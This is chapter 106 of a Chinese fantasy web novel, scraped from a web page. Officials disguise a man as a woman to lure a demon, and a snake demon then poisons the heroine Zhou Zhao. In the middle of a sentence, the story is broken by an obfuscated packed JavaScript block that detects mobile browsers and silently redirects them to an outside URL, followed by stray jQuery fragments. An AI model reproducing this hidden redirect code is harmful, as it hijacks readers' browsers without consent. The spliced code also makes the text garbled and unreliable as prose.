106. 第 106 章
作品:《亡国君是白月光》 “上官富贵,我杀了你!”沈云起用了十二分力气才将这句话咬碎在唇齿间,没有说出口。
但事已至此,一切准备就绪,沈云起就算再不情愿,也只能重新捡起地上的花篮为陆轻苹装扮。她将对上官的满腔怒气都发泄在陆轻苹身上,簪花的力气格外大,也幸亏陆轻苹脾气好,饶是如此,都只是阴着脸没说一句话。
等到了晚上,县尉看见两个国师吓得不轻,沈云起说完来龙去脉,县尉犹豫不决道:“这、能行吗?万一陆大人有什么三长两短……”
“他一个大男人,能有什么事儿?”
“可陆大人现在用的是、是您的……”县尉没敢说完,生怕脸色越来越难看的国师大人一怒之下脱了自己这身官服。
萤木和一队衙役早已准备妥当,周昭从人堆里眼尖地认出了一位老熟人,抬手打了个招呼,道:“张仙师,晚上好啊。”又低声对陆轻苹道:“大人很信任这位老道呢。”
陆轻苹同样低声道:“好过你那位路过朋友。”
张仙师因为又要去抓妖而喜气洋洋满面红光,竟不计前嫌跟周昭也打了声招呼。不过周昭过了阵子才想起来,自己这张脸张仙师还没见过,不由哑然失笑。
他们约好线路,只要采花妖现身,陆轻苹便放出信号。衙门的人太明显,就像水下露出钩子,再笨的鱼儿也难上钩,按照计划沈云起先按兵不动,等到陆轻苹的信号放出才能行动。
望着陆轻苹独自离开的背影,沈云起不由露出担忧的神色,悄悄问道:“妹妹,陆大人一个人能行吗?”
“放心,咱们陆大人厉害着呢。”跟沈云起比起来,周昭的确气定神闲,又道:“若不放心,我去跟着他。”
“还有贫道!”张仙师挺身而出道。
周昭摸了摸鼻尖,道:“仙师啊,你身上挂这么多符,哪只妖敢来呢?”萤木听见他们说话,有些紧张地站出来道:“大人,我愿随您去。”
周昭认识萤木,萤木却不认识她,对这少年坦诚道:“抓妖,很危险的。”
萤木立刻站得笔直:“我不怕!”
亥时三刻,今夜月为上弦,长街行人稀薄。
周昭跟萤木始终与陆轻苹保持一段不远不近的距离,虽说这只是个好女色的妖,想来本事不大,但周昭带着个十六七岁的少年,行事格外小心。
陆轻苹手提一盏灯,扮起女子竟毫不违和,走起路来身姿绰约,也许是刻意为之,比原主沈云起还多了几分妩媚,唯一不足的,就是步调迈得比寻常女子大些。
周昭盯着陆轻苹看了半晌,淡淡道:“咱们陆大人,装扮起女子得心应手呢。”
“啊?”萤木眼睛睁得大大的,压低声音道。
陆轻苹拐进一条无人的小巷,丞相的女儿就是在那里失踪的。但他这么一拐弯,刚好进入他们的视野盲区,要想看清那条小巷发生了什么,就必须从明朗的月光底下穿过去,萤木轻声问道:“大人,咱们跟吗?”
周昭摇头道:“不。”
萤木为难道:“可是陆大人他......”
“嘘……”周昭举起食指放在唇边,做了个手势示意他噤声,“你听。”
夜空传来几声突兀的猫叫,萤木忍不住打了个寒颤,道:“该不会是猫妖吧?”
但除了那几声让人听着毛骨悚然的猫叫声之外,什么声音都没有。萤木肉眼可见地焦急起来,周昭却异常冷静,像是毫不担心在他们眼前消失的陆大人是否还安全。
“大人,咱们该去看看了吧?”
“别急,再等等。”
话音刚落,那条幽深的小巷子里突然传来砰的一声响,萤木叫道:“不好!陆大人有危险!”
“哎等等!”周昭抓了个空,萤木已经拔刀冲过去,她无奈跟上,等到了巷子口,却惊讶地发现里面一个人也没有,只有地上落着一盏灯散发出孤零零的幽光,正是陆轻苹手中提的那盏。
周昭向前走了几步,警惕地打量着眼前这条小巷,尽头堆着些木板水桶之类的杂物,那里是唯一的出口,除非把这些东西搬开,否则绝无可能出去。
不过……人虽然不能出,妖却不一定。
一股淡淡的腥味扑面而来,越往里走越明显,周昭总觉得这股味道似曾相识,却一时想不起来。她捡起那盏灯,突然,有两道锐利的目光落在自己身上。
转过身,巷子口不知什么时候多了个小孩子。
看身量是个男孩,至多六七岁,笼罩在一件宽大的黑袍里,看不清脸,只有一小块尖尖的下巴从斗篷里露出来。
“小朋友,这么晚了怎么不回家?”周昭问。
那孩子像是没听到她说话,一点儿反应也没有,两只眼睛直勾勾地盯着她手中那盏灯,周昭走过去,一边将灯举到他面前,一边问道:“喜欢灯?”
就在灯光即将打在他脸上的那一刻,男孩突然一口咬在周昭手臂上,她吃痛松开手,对方迅速捡起那盏灯便跑,一眨眼就消失在纵横交错的长街里了。
好怪的小孩儿。
周昭撩起衣袖,白皙的手臂上多出两个小小的血洞。
这时,一道烟花自东南方窜天而起,在那弯上弦月怀里炸开。几乎是同一瞬间,夜空中传来一声更为洪亮的叫声,随后一只张着翅膀的大鸟从周昭头顶仓皇飞过。
是钦原鸟。
那鸟似乎受了伤,长长的鸟喙比周昭上次见它短了两寸,左边翅膀上的羽毛颜色虽然依旧鲜艳,却较右边光秃秃的,不知是不是这个缘故,钦原飞起来时总是往一边倒,虽然飞得快,但总是跌跌撞撞,一时间竟没能跟身后紧追不舍的周昭拉开距离。
周昭追出二十多步,突然反应过来不对劲:钦原鸟虽然出现的时机恰到好处,但方向显然不是陆轻苹放出信号的东南方。
此时月亮正极快地在云中穿行,只剩下一弯还没有被云遮盖住的浅浅的痕迹,周昭冷不防地跟一个人迎面撞了个正着,那人似乎被撞得不轻,抬起头,脸色煞白,周昭叫道:“上官大人?你怎么......”她目光不经意向下一瞥,没再继续说。
突然出现的上官语气匆忙,也不解释为何自己会在这里,声音低哑道:“阿鸢,快跟我去抓妖!”
“好啊。”周昭不动声色地抓住上官,微笑着问,“妖在哪儿?”
“就在前面!”上官拉着她往前跑。跑了几步,他忽然停下,转头道:“......你怎么发现的?”上官的目光是少见的阴鸷,那双眼睛似乎比平时颜色浅些,直勾勾地盯着周昭。
“好说,不过我有时间说,你有空听吗?”周昭收起漠然的笑,这时前方传来阵阵脚步声,身后则是萤木高声呼叫,“大人!别让那妖跑了!”
“妖?妖在哪里!”张仙师远远地叫道。
“上官”突然目露凶相,那张脸刹那间变成一头巨蟒的三角脸,大张着嘴吐出蛇信朝周昭扑过来。周昭早有防备,自然不会让它得逞,但蓦然见到这么一张蛇首人身的面孔,脚下不由后退半步,手中匕首却往前送出三寸,对准蛇颈刺去。
按理说蛇颈下的皮肤最软,周昭臂力不弱,但这匕首刺去却被一层硬壳弹开,震得她手心发麻。
好硬的蛇皮。
“公主殿下,你还认得我吗?”蟒蛇开口说道,它虽然是蛇形,脸上却能看出几分阴险狡诈的神色。
周昭望着那双黄澄澄的眼睛,突然愣神片刻,难道是……就在这电光火石间,蛇首突然袭来,先是猛地一击撞掉她手中匕首,再是尖牙来势汹汹直取她性命!
等周昭反应过来已经无刃可挡,眼看就要生受这一下,眼前一团白影闪过,伴随着尖利的猫叫,蟒蛇惨叫一声,连连后退,周昭喜出外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112859|184482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望:“般般!”
那蛇妖不知是不是被猫抓伤了眼睛,躲开几步落荒而逃,般般舔了舔嘴边的胡子,又十分嫌弃地拿爪子擦了擦舌头。
周昭快速摸了摸它的脑袋,道:“般般,我们去抓妖怪。”般般不满地叫了一声,她突然想到渡舟说这猫也是千年不死的妖,笑说:“去抓坏妖怪。”
一人一猫追着蛇妖而去,身后是姗姗来迟的陆轻苹跟萤木二人。陆轻苹看上去不大体面,头上簪的花早不见了踪影,好像是被蛇妖吓得摔了一跤,身上灰蒙蒙的,手上也破了皮,其他并未受伤。
萤木的剑上却有一道血痕,周昭不由多看两眼。
却说沈云起刚到巷子口,正撞见“上官”脚步匆匆消失在暗处,满心疑虑,走过去招呼道:“富贵儿?”她又想到上官给的好药丸,忍不住阴阳怪气道:“哼,男子汉大丈夫,好没意思!”
她说了这几句,对方只管蒙头走,不见上官回应,愈发生气,叫道:“喂,我跟你说话呢。”
“大人小心!那不是......”
“晚了。”
“上官”阴笑着抬起头,沈云起又惊又惧,却被一把推开。
周昭只闻到一股混着杏花香,又甜又腥的气味扑面而来,捂住口鼻却来不及,蛇妖化形而逃,张仙师自然也看见突然窜出来的巨蟒,虽然手忙脚乱,但也算临危不惧地掏出一把符箓,举着剑喝道:“抓蛇妖!别让它跑了!”
一时间瓦片落地,门窗俱碎,那蟒蛇爬上绕下,跑得极快,引来各处尖叫连连,灯火明灭不断。
周昭走了几步,只觉眼前像蒙着一团雾气,怎么眨眼睛都看不清楚。她费力地晃了晃脑袋,般般贴着她的双脚焦急地打转儿,沈云起的声音好似从很遥远的地方传来——
“……妹妹!”
周昭应道:“我……我没事儿。”她越是想推开沈云起自己往前走,脚下就越不稳,陆轻苹追上来,不由分说地将周昭扶到墙角坐下,抓起手腕摸上脉门,眉头紧蹙,低声道:“她中了蛇毒。”
“会怎样?”萤木和沈云起齐声问道。
“……说不好。”陆轻苹神情越发凝重,沈云起则追问道:“说不好是什么意思?”
“贫道刺中啦!”张仙师语调兴奋,周昭头脑清明了一瞬,摇摇晃晃起身,叫道:“别杀它!”
蛇妖尾巴被张仙师开过光的剑刺中,十分痛苦地在地上翻滚,一时之间竟无人敢近身,他目光看到周昭,忽而放声大笑,断断续续道:“我的好公主!你想起我啦!”
“公主?哪来的公主!”张仙师见并无宫中车驾,气急败坏道,“妖孽休走!”
张仙师哪里听得进去周昭的话,正要再一剑刺出,眼前突然冒出来一个小孩子挡在剑下。
他大惊失色,剑锋自然偏了几寸,蛇妖见此机会张开大口喷出数道毒液,张仙师以袖掩面连连后退,其他衙役自不必说,纷纷哀嚎。
待浓烟散尽,哪里还有那孩子跟蛇妖的影子。
张仙师提着剑绕了几圈,愤愤道:“可恶!这都被他跑了!”收了剑,又高声说:“各位大人,这蛇毒凶险非常,一旦沾上,不死也要掉层皮啊!”
众衙役纷纷道:“求仙师救命!”
“唉,难救!”张仙师眼珠子一转,从怀里掏出一只葫芦,状似十分为难道,“贫道虽有解毒圣药,但是我家传秘宝……”
“我愿出钱!”立刻有人说道。
沈云起冲朝安使了个眼色,对方拿出一袋子钱交给张仙师,道:“有劳仙师为兄弟们解毒。”
不必说,张仙师那葫芦里的药顷刻间就卖了个底儿掉。沈云起等人哪里顾得上眼前热闹,张仙师数完一叠钱,余光看见周昭,三步并两步跑过来,却不是探脉象,将葫芦口转了转,倒出来一丸淡绿色的丹药,道:“压在舌根。”

